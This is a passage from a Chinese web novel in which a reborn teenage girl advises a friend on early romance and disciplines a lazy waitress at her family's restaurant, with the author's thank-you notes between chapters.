本来以那个男生的成绩是可以考入一高的,只是因为这件事之后,男生担心自己和谢芳芳在一起,将来再升上同一所高中,很可能会再次面临初中时谣言满天飞的境地,最后一咬牙,去了离家最近的一所高中。 谢芳芳觉得自己害的好朋友不能上他喜欢的学校,因此十分愧疚,还想要干脆也跟着好朋友一起转到那所高中。 只是家里和好朋友两边谁也不同意她这样做,她才最后来了一高。 苏丽珍听到这些,心里也不由感叹。 上辈子的谢芳芳跟她真的是一样的人。 她们同样喜欢沉浸在自己的世界里,一方面十分的孤独,一方面又渴望得到所有人的认可。 当她们付出的努力没有得到应有的回报,立即就会丧失信心,甚至一蹶不振,觉得全世界都抛弃了自己。 其实恰恰是她们自己,把自己推到了整个世界的对立面上。 好在她重生了,而这一世的谢芳芳也不再像前世那样,不被大家所接受。 她们都获得了一个崭新的自己,一个不再轻易被世事打败、有勇气面对一切的自己。 回家的路上,两个人都没有骑自行车,而是选择推着车子在马路上边走、边聊天。 这一刻的谢芳芳,没有了往日那样的骄傲、张扬,这时的她只是个软糯而单纯的小姑娘,看着苏丽珍的目光里满满都是依赖和信任。 等走到不得不分开的路口时,谢芳芳鼓起勇气,终于问了苏丽珍最后一个问题。 “珍珍,能告诉我,你是怎么看待早恋这件事的吗?” 苏丽珍并不意外她会提出这个问题。 “我觉得我们作为青春期的少女,对异性产生好感并不是多么不可饶恕的事。但是我依然不同意早恋这件事。” “不过,与其说我不同意,倒不如说是我不看好。” “我们现在这个阶段无论是生理上、还是精神上,都正处于一生中最好的阶段。每个人的一生也只有一次这样宝贵的青春。” “而比起去谈一场自以为的、轰轰烈烈的恋爱,我更想要经营一个‘轰轰烈烈’的自己。” “我想在这段黄金岁月里,努力积累资本,让自己未来更优秀,而不是肆意挥霍和消耗,等若干年后回过头,发现错过的远比得到的更多。” “因为我们的人生永远不是只有爱情。” “芳芳,相信我,你现在每付出一份努力,你的未来就会多一种可能。当你足够优秀,你的世界就会五彩缤纷。” “而那时,看到足够多、足够远的你,会更清楚自己真正想要的是什么。” 谢芳芳听了她的话,有些若有所思。 两人告别后,苏丽珍望着她的背影,想着也许现在的芳芳确实对刘东辉产生了一些朦胧的好感。 只是这种好感还没发酵成对异性的爱恋。 不过今天之后,她相信芳芳绝对能调整好自己。 而前世那些并不美好的事也不会再发生—— 作者有话说: 感谢在2023-04-2922:25:46~2023-05-0114:36:49期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月2瓶; 非常感谢大家对我的支持,我会继续努力的! 第90章 放假在家,苏丽珍每天的生活十分规律。 闲时就在楼上看书,预习下学期的功课;接近饭点就下楼帮忙。 除了隔三差五招待一下谢芳芳、卢向阳这些来找她的小伙伴,她平时几乎不怎么出门。 通过这几天对店里新员工的观察,她大致对每个人的性格脾气也有了一定了解。 先说表现最好、最让人满意的应该是王树和齐志飞。 王树就不说了,本就头脑灵活,反应快,性子也踏实。那天经过苏丽珍提点之后,做事更加用心。 苏丽珍觉得,如果他能一直保持这样,倒也不失为一颗好苗子。好好培养,说不定将来真的能做她爸妈的左膀右臂。 齐志飞也是不错的,虽然一条腿行走不便,但是做起事来勤快卖力,很有责任心。 关键是手艺也不错,除了改刀,烙饼、擀面这些并不比专业的厨师差。 现在店里做主食的活儿也大多都交给他。 但是他也有个小缺点,就是实在是太高冷了。 就算是平时休息,这个人也从不跟任何人交流。甚至你问他点什么,他出于礼貌,每次也只是简单回答几个字。 全程别说是废话,多一个废“字”也没有。 其实苏丽珍是不讨厌这种员工的,毕竟人家做为店里雇佣的人,只要做好分内的工作就可以了。 但是在现在的社会背景下,齐志飞这样的表现就未免太不合群。 店里的其他人也就罢了,同样作为新手老板的苏卫华夫妻俩便有些忐忑,总担心对方是不是不满意自家对他的工作安排。 但是这话他们又不好问,再加上惦记着之前苏丽珍说的话,并不敢表现得过于关照,一时就有些纠结。 钟点工田大姐人不错,脾气也好,比内向的钟嫂子爱说话,后厨几位女同志对她的印象也挺好。 夏春花表现的也还可以。这个姑娘确实跟她大伯说的一样,一看就是干惯了农活的,做事任劳任怨,一点儿不怕辛苦。 唯一不好就是太老实了! 在私营店里做服务员,其实还是机灵一些比较好。人太老实,既容易吃亏,又发挥不出优势。 当然人无完人,每个人肯定或多或少都有点小毛病,但是最让人头大的还是曹金凤! 这个姑娘实在太爱臭美了,关键还不得其法。 苏丽珍不让她化妆,她倒是听话,不画了,开始改在头发上做文章。 动不动就别了一堆花花绿绿的发卡,老远就看见她这一脑袋五颜六色的。 苏丽珍当天中午还听见两个熟客打趣,说瞅那姑娘(曹金凤)的架势,这人长一个脑袋还是长少了! 要是长他两三个的,那么多好看的发卡就不用都委屈地聚在一片头皮上了! 苏丽珍:“……” 她当天晚上把这事说给苏卫华夫妻和小麦听,把三个人逗的差点儿笑岔气了! 苏丽珍没办法,只好委婉地暗示曹金凤,头上留下一两枚发卡点缀一下就好,这人脑袋毕竟不是画盘,不能什么都往上堆啊! 曹金凤虽然有些不满意,但也乖乖听话了。 谁知道第二天就改扎了一脑袋头绫子来。 这些头绫子被她一半扎成大大的蝴蝶结绑在小辫上,一半顺着发辫垂下来。 本来是可以显得娇俏可爱的饰品,经她这么一弄,这满脑袋红、粉头绫子,活像个绸布扎的绣球,哪儿还有半点美感可言。 苏丽珍看着她,感觉自己的头都要大了! 她尊重每个人的审美观。但是,她觉得曹金凤在“仪容得体”这条规定的理解上,完全没有下限。 忍无可忍,苏丽珍只好上楼找出一本彩色挂历给她看。 这本挂历印的全是今夏最火的电影《X山恋》里的女主角。 据说这部电影,女主有40多套造型,而且她的衣服是剧组人员特地从香江采购的,件件时髦又漂亮。 电影一上映就风靡全国,尤其女主角的穿戴打扮更是成为全国年轻人的时尚宝典。 这本挂历是店里一个在广播电视台上班的老食客送给他们家的,一般人还拿不到呢。 果然,曹金凤一看见挂历上电影女主那些美丽时髦的造型,眼睛立马就挪不开了。 苏丽珍先让她看了个够,然后直接上手把她那一头小辫子和一堆t红红粉粉的头绫子通通拆开。 最后只把头发分成两束,扎成麻花辫,又把编好的发梢翻卷到耳垂下边,再用一小段红色的头绫子扎成蝴蝶结固定住。 这样一来,人看起来清新娇美又利索。 苏丽珍伸手给曹金凤梳头的时候,店里的女同志们都忍不住过来围观,看见曹金凤新梳好的头发,不由都交口称赞起来。 张舅妈最是心直口快,连连道:“还是这样好看,关键也不张扬!金凤丫头啊,不是我说,就你之前那个打扮,这也就是现在,这搁头几年啊,那帮人肯定要把你抓进去好好教育教育的。” 曹金凤听完撇了撇嘴。 不过看着镜子里自己新梳好的发型,心里还是很满意的。 之后,苏丽珍看她除了又悄悄往头上别了两枚发卡外,倒也不再像之前那样,什么都大把大把往头上堆,总算松了口气。 除了臭美,曹金凤身上还有不少毛病,比如说脾气大,爱偷懒,不能受一点儿屈,还有些掐尖要强。 比如对于店里安排让三个服务员轮流打扫大厅卫生间这个任务,王树和夏春花都能好好完成。 可一轮到曹金凤,她总是嫌弃卫生间腌臜、有味道,每次都推三阻四的,然后各种找借口把活儿都推给王树和夏春花来做。 王树和夏春花都是老实人,也没说什么,就默默帮她做了。 谁知她变本加厉,不肯打扫卫生间不说,轮到她看顾卤味柜台时,明明她自己有空,偏偏要逮着别人帮她卖货。 而且她还特别鸡贼,不知道怎么从夏春花嘴里套出她是分管这一片的工商所所长亲侄女儿的事,之后有事就很少再找夏春花,大多都去找王树。 苏丽珍都给气笑了! 别的方面,她睁一只眼、闭一只眼也就算了,可这种原则性问题她绝不允许。 既然你会找别人,那我就专找你。 于是,苏丽珍平时不忙的时候也带着书本下楼,看一会儿书就起来活动活动筋骨,然后开始支持曹金凤干活。 她也不多说什么,就是每次都笑眯眯地把扫把、拖布往曹金凤手里一塞。 “金凤姐姐,我听宋阿姨说,你平时在家里可会干活儿了,尤其特别擅长打扫房间!你看卫生间是店里的重点清洁区域,不如今天你来打扫,也给我们大伙儿打个样儿,以后让大家都照你学习!” “金凤姐姐,昨天是你打扫的厕所吧?哎呀,卫生间打扫的真干净啊!我听不少客人都夸呢!既然你活干的这么好,我看今天也还是你来扫吧!” “金凤姐姐,我看王树哥和春花姐打扫的卫生间好像都不如你干净,不如今天也是你来扫好了!” 曹金凤:“……” 总之,只要她一偷奸耍滑,苏丽珍总有各种各样的办法把她揪出来做事,有时甚至要多干两倍的活儿。 要说王树也是机灵,打从苏丽珍开始找曹金凤的“麻烦”后,他也不再次次答应帮曹金凤干活儿。 但是他也没全都拒绝,差不多曹金凤开口找他三次,他才会答应一次,而且必定要拉着曹金凤一起干,相当于他在旁边搭把手而已。 曹金凤生气了,他还反过来劝对方。 “曹家妹子,小老板这是看中你,喜欢你干的活儿,如果我都做了,那你不就没有表现机会了吗?” 差点没把曹金凤鼻子气歪了! 可她又无可奈何,便每天拉着脸,一副谁都欠她的样子。 苏丽珍看她这完全不知反省的态度,心里也没有多少耐心了。 她决定最后给对方一次机会,如果她还是改不过来,那她拼着得罪宋主任,也不能让这一条鱼腥了一锅汤。 这天又轮到曹金凤打扫卫生间,等她磨磨蹭蹭半天,从卫生间出来的时候,发现大厅里的活儿还没干完,登时来了气。 按照店里的规定,三个服务员每天到店第一件事就是一起打扫大厅和包间。 活儿很简单,就是日常清洁,先擦洗一遍桌椅,再清洁一下地面。 三个人一起干,手脚麻利些,用不上半个小时就能做完。 最后才是轮流打扫卫生间。 之前因为曹金凤不愿意干卫生间的活,被苏丽珍看的紧了,这才肯老实干活。 但是只要每次轮到她打扫卫生间的时候,她就会扔下大厅的活,直接去卫生间。 王树和夏春花也不说什么,就默默一起帮着把她那份活儿也做了。 赶巧今天,苏卫华托人买了一车煤球回来,王树跑去卸煤了,大厅里的活儿就只有夏春花一个人做。 曹金凤这次没躲开,只好跟着一起把大厅卫生做完。 因为没占到便宜,气不顺,曹金凤一直不高兴,还瞪了卸完煤回来的王树好几眼。 上午十点,开始有人来上门买卤味,今天恰巧也是曹金凤看柜台。 她自己分明没什么事,却总是支使王树替她开单卖货。 第一次,王树去了。 苏丽珍看了一眼,没吱声。 第二次,曹金凤又喊王树,苏丽珍直接过来打断她:“什么活儿都让别人去做,不如工资也让别人替你领了。” 曹金凤被挤兑的脸上又红又白,有些不服气地嘟囔道:“他是男孩子,发扬一下风格,多干点活儿怎么了?这也太偏心了!” 苏丽珍觉得可笑,“发扬风格,为什么要对你发扬?你是不拿工资还是七老八十干不动?” “要是后者,我建议你赶紧回家,咱们谁也别耽误了谁!” 曹金凤这下不干了,气道:“你说话怎么那么难听啊!就算你是小老板,我还比你大呢,你至于这样吗!” 苏丽珍看着她,冷淡道:“对于你来说,实话就相当于是难听的话,这跟我是不是小老板、还有你比不比我大没关系。” “而且如果你再这样偷奸耍滑,欺负其他员工,我说的话还能比这更难听,你可以试试。” “所以我劝你,要么现在踏踏实实干你的活儿,要么就立马回家。我也不怎么喜欢跟那些并不值得我多说的人浪费口舌。”《 》 90-100 第91章 “你!” 曹金凤气的不行,要是平时也就算了,可这会儿店里还有不少人。 除了王树、夏春花、张舅妈他们,刚刚店里还来了两桌客人,都是刚点完单等着上菜,听见他们这边的动静,全都掀开了帘子看热闹。 另外,还有几个等着买卤味的人。 被这么多双眼睛看着,曹金凤脸上实在挂不住,也来了脾气,冲着苏丽珍吼道:“有什么了不起!不过就是个干个体的!姑奶奶今天我还不伺候了!” 说完,人就冲出了店里。 “金凤妹子!” 夏春花想追出去,但是碍着苏丽珍,又有些不敢动弹。 苏丽珍淡淡道:“想追你就去追,但是不能耽误店里的活儿。” 夏春花“哎”了一声,便忙不迭追了出去。 不过曹金凤走的太急,等她追出去,人早就没影儿了! 夏春花不敢走太远,只好去而复返。 正好这工夫,后厨备好了客人点的菜。苏卫华喊夏春花去上菜,自己拉着苏丽珍,以及听见动静出来的李翠英一起,到收银台说话。 对刚刚闺女训斥曹金凤的经过,夫妻俩都看在眼里。 本来夫妻俩是想着让闺女说几句,叫曹金凤自个儿也好好反省一下,并不是真的打算把人撵走。 毕竟当初既然答应了宋主任留人,再不济也得将就些日子,哪能这么几天的工夫就撵人? 那还不如当初压根就不收。 但是,他们没想到自家闺女这回是动真格的,一点情面都不留。 不过在他们心里,谁也比不上苏丽珍这个女儿,所以即便心里不太赞成闺女的做法,他们也从头到尾没说什么。 总不能当众拆闺女的台吧! 只是这会儿难免有些担心。 李翠英不安道:“看那孩子气冲冲的,肯定是去找宋主任了……咱们这样直接把人撵走,是不是有点下宋主任的面子啊?” 苏丽珍便劝父母道:“爸、妈,管理人员最忌讳的就是做不到公平公正。” “曹金凤又不是一次两次这样,如果咱们一再纵容,只会助长她的气焰,让她以后变本加厉不说,也会影响店里的工作氛围,破坏大家团结和稳定,所以我们不能总是姑息。” 苏伟华夫妻想想也是。 以前,他们在单位里就看不惯那些光靠拍领导马屁、自以为有靠山,就什么事都不做的人! 如今在自家店里,自然t不想一碗水端不平。 不过苏丽珍知道他们心中顾虑,便又宽慰两人:“爸、妈,你们也别担心。宋主任这次是不会记恨我们的,说不定到时她还会感谢咱们呢。” 她语气有些意味深长,“这也是我给曹金凤的最后一次机会。” 另一头,曹金凤气冲冲从店里跑出来,结果还跑没多远,一阵冷风就把她吹的直哆嗦。 她才想起来自己出来的太急,身上只穿着工作服,连棉袄都没拿! 有心想回去把衣服换回来,又觉得这样回去太丢面子,心里不由把苏丽珍恨个半死,一气之下,决定这就去找她大姨告状! 宋主任工作的街道跟饭店只隔了一条街,虽然只是短短六、七分钟的路程,但是这数九寒天的,还是把她冻得够呛。 宋主任正好在自己的办公室里。 一见外甥女连棉袄都没穿就跑来找自己,她先是惊讶,“你这孩子,你还真来了!” 之后,又忍不住数落道:“你看看你这孩子,性子也太急了,你的心意,大姨又不是不知道!” “这么冷的天,你连件棉袄都不穿就急着过来,要把身子冻坏可咋整!” 说着,就把人拉进屋,又是给曹金凤披棉袄,又是给她倒热水,眼角眉梢全是喜色。 曹金芳这一路冻得不轻,脑瓜子嗡嗡的,半天才缓过来。 她看着平时对她没啥好脸色的大姨,这会儿却对自己一番嘘寒问暖,顿时有些受宠若惊,心里直觉不对劲儿! 而且她怎么感觉大姨好像提前知道她会来似的呢! 曹金凤心里犯起了嘀咕,莫不是老板一家先来跟大姨告状了? 可看大姨这一点不生气样子,又觉得不像,她一时心里没底,也没敢贸然开口。 宋主任是真的心情很好,给她倒了一杯热水,还结结实实往里放了一大把红糖,一边往曹金凤手里塞,一边道:“凤啊,你赶紧喝,暖暖身子!可惜没有姜,要不效果能更好。” “我没想着你真能过来。这不前天,我检查卫生的时候,正好碰上你们店里那位小老板,叫珍珍的,是吧?” “你别说小姑娘挺有礼貌的,见着我老远就说话,还把你好一顿夸呢!” 曹金凤心里正琢磨着她大姨这唱的是哪一出呢,冷不丁听见这一句,眼珠子差点瞪出来! “大姨,你说谁?我们小老板?还夸我?” 宋主任喜滋滋道:“可不就是夸你嘛!人家小老板都告诉我了,她说你在她家店里表现的很好,工作认真,勤勤恳恳。” “虽然有些事情还不是很顺手,但你态度积极端正!他们一家都觉得你干得好,个个都夸你呢!” 这话听的曹金凤冷汗都下来了! 这是在说她?怎么可能! 偏偏宋主任一点儿没看出她的异样,只一心找她确认,“凤啊,你们小老板说的是真的吧?你这回真想明白,肯好好做事了?” 曹金凤很想说,什么想明白不明白的,她一直在好好做事啊,分明每次都是别人欺负她! 尤其是苏家那个小老板,压根就是个恶丫头,每天只会变着法子找她麻烦,她可不想再伺候了! 可是看着自家大姨那一脸殷切的样子,那句“不想干了”就怎么都说不出口,只好端着水杯一边假装喝水,一边含糊地“嗯嗯”两声。 宋主任一看她点头,更是高兴不已,直拍大腿。 “好凤啊,你可算是想明白了,终于肯好好改改你那性子,安下心来做事。 “你不知道大姨听见人家这样夸你,心里有多高兴!不说我,就是你爸妈也一直盼着你能有一份稳定工作,好好上班。” “我们也不图你回报啥,就是盼着你能养活自己,以前看你那魂不吝的样子,我们是真着急!” 宋主任不愧是做街道工作的,一张嘴,一句接一句,曹金凤压根插不上话。 “万幸你这孩子终于长大了,变懂事了!你们店的小老板都跟我说了,说你经常在店里反省自个儿,觉得自个儿以前太任性,害得家里人跟着操心,说你特别的后悔,就想今后踏踏实实的,好弥补自己过去做的那些错事!” “她还说,你总在店里提起我,说自己能去店里上班多亏了我这个大姨,舍了脸面去求情,你一直想好好报答我。” “她说你想了好几天,决定跟店里申请,要预先从第一个月的工资里支出十块钱,以大姨的名义办一张会员卡送我!还让她先别告诉我,你要亲自来给大姨一个惊喜!” 曹金凤:“……” 宋主任一脸疼爱地摸了摸外甥女的头发,“凤啊,你有这份心,大姨就很高兴了!” “大姨以前是对你态度严厉了一点儿,那不是你那会儿不懂事,总是惹你爸妈生气吗?” “不过经过这回啊,大姨也想通了,孩子不懂事,还是教的方法不对,或者待的环境不好!你看人家苏老板两口子,手艺好,名声好,开的店更好!” “你看你这才去了几天,就把你教的这么好!大姨我当初真是没白拼着这张老脸,去给你磨了这么个工作机会!” 曹金凤:“……” 宋主任看外甥女全程没怎么说话,不像往常一见到她就埋怨这个、抱怨那个的。 再看她的打扮,也是干干净净、清清爽爽,完全不像之前要么画的亲妈都不认识,要么别着一脑袋辣眼睛的发卡、头绫子,让人没眼看。 宋主任真心觉得外甥女是懂事了,性子沉稳了,越发替她高兴。 “那会员卡你自个儿留着,拿回去给你爸妈用吧。” “我可是知道,拿着你们店的会员卡吃东西不但便宜,还能积分换礼物!这一张卡值十块钱呢,虽说你是以大姨的名义办的,但是一家人谁用不是用,你还是拿回去给你自个儿爸妈用吧!” 曹金凤:“……” 这话说的,就算她真办了会员卡,这种情况还能自己拿回去吗? 她艰难地咽下嘴里的红糖水,虽然心里把苏丽珍恨的不行,可是脸上却一点儿不敢表露,僵着脸笑道: “嗐,大姨,看你说的,一张会员卡而已,我给您办就办了,哪能我自己拿回家……” 不过面对着宋主任期待的目光,她只能两只手假装往身上扒拉了一下,然后硬着头皮干笑两声: “那什么,大姨……我这不是太急着来看您嘛,那个会员卡办好,让我放在棉袄兜里了,这一着急棉袄也没穿……那什么,等下次我再来看您,我一定给您带来!” 宋主任眼中似乎有一点点失望,不过很快又高兴起来,“傻孩子,跟大姨客气啥!” 看着大姨疼爱信赖自己的样子,曹金凤心里有些复杂。 说实在的,从小到大,她跟大姨的关系并不好。 大姨总是看不上她。 她不止一次偷听到大姨跟她妈讲她的坏话。 说她只顾着臭美,不好好学习、又不愿意吃苦,这也亏的是在他们家,要是在别人家,像她这样的女孩子那就是随便嫁人换彩礼的主。 如今难得感受到大姨对她的这份期待和看重,她竟然有点不受控制地发飘,顺势道: “大姨,这是我应该的,其实我早就应该给你买点礼物,这不是之前工作不稳定,钱不凑手吗!您放心,今后我一定努力工作,好好攒钱给您买更多的礼物!” 宋主任拍了拍她的手背,“孩子,攒钱这话可算是说对了!谁有不如自己有,以后的钱可别乱花了,女孩子怎么也得攒点体己钱。” “说到这个,我差点儿忘了,你们小老板说你等月底开工资还要给我和你妈买一件红毛衣!这红毛衣可不便宜,你那点儿钱办完会员卡,哪里还够了?所以先紧着你妈买吧,大姨啊,先不着急,听见没?” 曹金凤:“……”—— 作者有话说:感谢在2023-05-0412:25:09~2023-05-0617:06:28期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月、像鸟儿一样飞2瓶; 非常感谢大家对我的支持,我会继续努力的! 第92章 听完苏丽珍的解释,苏卫华夫妻和小麦才恍然大悟。 “啊,原来你早就先去找过宋主任了!” 不过,苏小麦还是有些不放心,“我看这曹金凤也是个急脾气,万一她到时忍不住把实情都说出来t,那不就穿帮了吗?” 苏丽珍摇头,笃定道:“曹金凤不会说的。因为她知道,即便她跟宋主任说出实情,告咱们一状,宋主任就算对咱们有不满,也不会为她出头。” 因为店里还有夏春花,现在谁都知道托关系进来的不止曹金凤一个人,怎么别人都没有问题,只有她才来几天就闹得水火不容了? 宋主任是曹金凤姨妈,不是亲妈,不会一再纵容她。 事情闹开了,宋主任顶多是跟他们家没了之前的那些情面,但是最叫宋主任失望的却是曹金凤这个一再惹麻烦的外甥女。 曹金凤其实是个很聪明的人。 她心里门儿清,但凡有一点儿台阶下,她都不会把事情直接闹到宋主任那里,因为她比他们家还没有底气。 当然也不排除她会不管不顾,就非要跟苏丽珍掰扯个一二三来。 如果这样,他们家也没什么好说的。 这样的大爷,哪儿来,哪儿去!他们家可要不起,就算再有一个宋主任也不行。 听苏丽珍这么一分析,其他人也都觉得曹金凤最后还是会老老实实回来,因为这才是对她最有利的选择。 当然,这店里不是她想来就来,想走就走的。 碍着宋主任的情面,苏丽珍不能把事做太绝,但是适当的教训总是要做的。 她当即嘱咐张舅妈和齐志飞,要把今天的午饭提前做好。 饭点一般是店里最忙的时候,员工吃饭的时间也就不那么标准,要么是提前,要么是延后。 因为今天苏丽珍发话,店里的人十一点刚过,就把午饭都解决了。 每次李翠英都会嘱咐多做一点馒头或者饼之类主食,万一饭点儿过了,有谁肚子饿,还能垫一口。 但是今天中午这顿,每人主食三张糖饼,直接分完,不多不少。 没有带曹金凤的份儿,夏春花张了张嘴,不过看着苏丽珍冷淡的脸色,到底没敢开口。 —— 曹金凤是中午十二点才回来的。 其实她早就从宋主任那边出来了。 宋主任怕她耽误工作,老是催着她回去,还说要亲自陪她走一趟,顺便再好好谢谢苏老板一家。 这可把曹金凤吓得不轻,好说歹说,总算没让她大姨跟着! 出来时,宋主任怕她冷,把自己平时备用的一件薄棉袄给她穿上了。 从宋主任那儿出来,曹金凤却不想就这么回店里,一个是觉得丢脸;另一个也是咽不下这口气,觉得自己被苏丽珍算计得太狠。 可她一时半会儿又没有地方去,只好在路边站了半个上午。 宋主任的这件棉袄不怎么厚实,时间长一点儿,风就把她吹透了,冻得她脸直发青。 最后,实在抵不住严寒,加上肚子也饿的咕咕叫,她只好硬着头皮回来了。 好在这会儿是店里最忙的时候,王树和夏春花只来得及跟她打了个招呼,就各自忙起来。 苏卫华则在闺女的叮嘱下,只是看了她一眼,一个字都没说。 曹金凤心里忐忑,但是到底有几分小聪明,顾不上早已冻得发硬的手脚,赶忙开始招待客人,态度更是比平时积极不少。 这一气儿一直忙到下午一点半,曹金凤又渴又饿,但是没得到老板发话之前,也不敢提吃饭的事儿。 不但不敢提,还得到苏丽珍跟前小心翼翼赔不是。 “那个小老板,之前是我态度不好……我、我给你赔罪。” 苏丽珍看了她一眼,没吱声。 旁边苏卫华会意,便接过了话,“算了,你也还是个孩子。以后记住,自己的活儿一定自己干,不能总是欺负别人!好了,去吧。” 爷儿俩三两句把人打发走。 曹金凤见自己没怎么被刁难,而且还是老板亲自发话让这事翻篇儿,本来还挺高兴的。 可等她乐颠颠儿去了后厨才知道,人家根本没给她留饭。 不但没留,连往常每顿都会预留的、给大家闲时充饥的馒头饼子也一点儿没有。 她瘪了瘪嘴,眼眶有些发红,但是看后厨里大伙儿各忙各的,到底没敢发牢骚,自己默默走了。 到了晚上,苏丽珍又通知,等忙完晚上饭点儿这一阵儿,大家再吃饭。 这样一来,曹金凤相当于饿了两顿,早已是前胸贴后背。 等到晚上可以吃饭的时候,她一口气吃了两大海碗,还要去盛第三碗的时候,吓得李翠英赶忙把人拦住了。 “孩子,可不能这么吃!听苏婶的,先缓一缓,要是过一会儿你还能吃,咱再吃啊!厨房还有擀好的面条,今晚管够的!” 经过这一天的教训,曹金凤可是学乖了。她偷偷瞥了眼一旁不动声色的苏丽珍,虽然还有点儿没吃够,最后还是乖乖放下了筷子。 还不忘嘴甜地恭维李翠英,“哎,苏婶儿关心我,那我听婶儿的!” 之后几天,曹金凤也都老老实实,没有再出什么幺蛾子,对店里其他人的态度也殷切热情了几分。 尤其是对王树,再不像之前颐指气使,动不动就甩脸子,简直像换了个人。 而且这回再不用谁特意提醒,只要一轮到曹金凤打扫卫生间或者看顾卤味台,她都会自己主动去做事,不再偷懒,也没千方百计使唤别人给她帮忙。 苏丽珍一家私下里讨论,都觉得曹金凤这是屈服在了金钱的压力下。 毕竟一张会员卡加一件,不,是两件红毛衣,这造价可不低。 不过曹金凤这副模样落在其他人眼中,却是大有感触。 店里众人无不对苏丽珍暗自佩服。同时,也多了几分敬畏,更让苏丽珍在店里多了几分威信。 经过这一次,大家心里都明白,看似好说话的小老板其实比老板两口子还要严格,绝不是好糊弄的主! 现在大家每天见苏丽珍在店里帮忙,做事也更认真,丝毫不敢懈怠。 店里最大的“刺头”改正了态度,让苏丽珍一家轻松了许多,但是一些杂七杂八的小问题仍然有不少。 通过这些日子的观察,苏丽珍就发现,许是受现在的国营饭店和百货商店影响,店里员工普遍服务意识不足。 客人来了,点菜、开单;客人走了,撤桌、清台,感觉就像个机器人。 说实在的,这个态度也就是比国营饭店稍强一点。 当初新人进店的时候,店里开会就一再强调,对顾客的服务态度要好! 可这个“好”在他们的概念里,也就是不对客人发脾气,甩脸子而已。 所谓的“服务热情周到”不过就是个字面上的说辞,根本没有什么现实意义。 三个服务员也就王树还凑合一点。 等曹金凤和夏春花,手脚上虽然是勤快的,但是面对客人是能少说就少说,经常连个笑模样都没有。 也就是现在的人被国营饭店给磨炼出来了,对他们这种态度不以为意。 但这并不是什么好现象,苏丽珍一点也不希望得到一句“他们店跟国营饭店都一样的态度”这种评价。 尤其他们开店时间不长,如果就此打下这样的基础,以后就不好改了。 苏丽珍觉得不能放任他们继续这样,必须尽快提高大家的服务意识。 至于怎么提高,还得想个行之有效的办法,光靠嘴上说看来是没什么用。 这天下午两点多钟,大厅来了一桌客人,一对夫妻领着三个孩子,一家五口来吃火锅。 这一家人看着像是从农村来的。虽然身上的衣服没有什么补丁,但是那半新不旧的布料一看就有年头了。 一道道折痕也显示出之前可能大多被压箱底儿,并不经常拿来穿的境况。 一家人大概不常来饭店这种地方,看着都很局促。尤其看着店内不俗的装饰,神态更加拘谨。 苏丽珍从旁边路过的时候,正好听见夫妻中的妇女对身旁的年轻小伙子说道:“儿啊,这地方像过去那富家老爷住的屋子似的,肯定老贵了,要不咱还是换家地方吧!” 妇女大概是个大嗓门儿,自以为放低的声音其实一点也不小。 正巧,今天负责接待这一桌的是曹金凤,听见这话,直接“噗嗤”乐出了声。 “这就富家老爷了?我跟你们说,就算是过去的富家老爷吃的也未必有我们家的东西好!”声音里满满的优越感。 妇女没想到她会听见自己的话,又以为自己说了什么丢人的,吓得立马不敢再出声。 苏丽珍不由蹙了蹙眉,顺势顿住了脚步。 这一家的大儿子显然是能做主的,而且估计也对国营饭店服务员的t傲慢做派有所了解,是以对曹金凤不礼貌的态度,并没有说什么,只是笑着安抚妇女道: “妈,没事!我都打听过了,这家饭店是现在城里最火的店,东西很好吃!咱们既然来了,就好好吃一顿。” 妇女显然不认同儿子的话,也顾不上旁边的曹金凤,只是不停劝说道:“儿啊,你上学省吃俭用攒这点儿钱不容易,可不能这么造啊!俺们吃不吃这一顿也没啥要紧的,要不咱还是回家吧!” 小伙子笑道:“妈,您真不用担心!我给教授做助手是有补助的,这个寒假也不少呢。儿子有钱,够您和我爸,还有我弟、我妹吃顿好的。” 妇女还想再劝,倒是旁边一直没吭声的男人发话了,“孩子他妈,别说了,就听大儿的。” 这时曹金凤又开口了,“商量好了吗?点不点菜啊?” 年轻人向曹金凤道了句歉:“不好意思,能把菜单给我看一下吗?” 曹金凤把菜单递了过去。 苏丽珍隔着珠帘,留意到年轻人接过菜单后仔细看了一遍,要了一个骨汤锅底,要了两斤羊肉,又要了两份小菜。 妇女到底是害怕儿子多花钱,两只眼睛一直盯着儿子手里的菜单,但是她不认字,只好陪着笑脸跟曹金凤问价。 差不多是年轻人点一样,她就要问一句。 “闺女,这骨汤锅底多少钱呐?” “哎呦,羊肉一斤一块二,这也太贵了!那啥,闺女,俺们不要了!” “儿啊,咱就要点白菜涮涮,尝尝味儿得了!” 第93章 曹金凤直接撂了脸子,从头到脚都写着不耐烦,眼瞅着她张嘴就要说出什么不好听的,苏丽珍忙掀开帘子走了进去。 她撇了曹金凤一眼。 对方一见着苏丽珍过来,脸上的不耐烦就像火苗遇见倾盆大雨,顷刻间灭了个一干二净,当下什么也不敢说了。 苏丽珍微笑着对那一家五口招呼道:“几位顾客,其实我们店里的酸菜五花肉锅用的也是骨汤打底,味道很不错的。” “而且现在酸菜五花肉锅有套餐优惠,全套两块三毛钱,包括了五花肉、酸菜、冻豆腐、血肠和主食,还是很实惠的,你们可以点一套尝一尝。” 那妇女见苏丽珍好说话的样子,胆子也大了不少,便不停追问这酸菜五花肉套餐里每样东西各占多少分量,具体怎么个价钱。 苏丽珍便不厌其烦地又逐一给她介绍了一遍。 一家人商量了一下,都觉得点这个套餐比之前小伙子那样一道道单点合适的多,关键猪肉也比羊肉值钱。 夫妻俩这回不等大儿子说话,忙喊苏丽珍就给他们上这个套餐。 末了,那妇女还一脸不好意思地看着苏丽珍,请求道:“闺女,俺想跟你商量商量……那啥,俺们从家出来时带了饽饽,你看能不能把你们那个套餐里的葱花饼,给俺们换点儿别的?” 曹金凤在旁边听的偷偷直翻白眼儿,但是当着苏丽珍的面却丝毫不敢发作。 不过,一旁的年轻小伙子听了可有点坐不住了,赶忙劝妇女:“妈,别换了,饽饽咱回家吃也是一样的!” 苏丽珍没说什么,微笑着点头道:“大婶,那您看您想换点什么?套餐内的葱花饼有四两,店里的售价是三毛钱,您可以按这个标准换。” 妇女见儿子劝她不要换,本来已经有点死心了,这会儿听苏丽珍这样一说,不禁十分高兴,一拍大腿道:“那就都换土豆白菜!” “俺刚刚听了,你们店土豆白菜都是一毛钱一盘,一盘有八两,就给俺们上三毛钱的土豆白菜就行,二斤半的分量咋都够吃了!” 曹金凤直接“噗嗤”乐出了声。 妇女看她这样,不由闹了个大红脸,神情又肉眼可见地拘谨起来。 苏丽珍一个眼刀过去,曹金凤立马噤声。 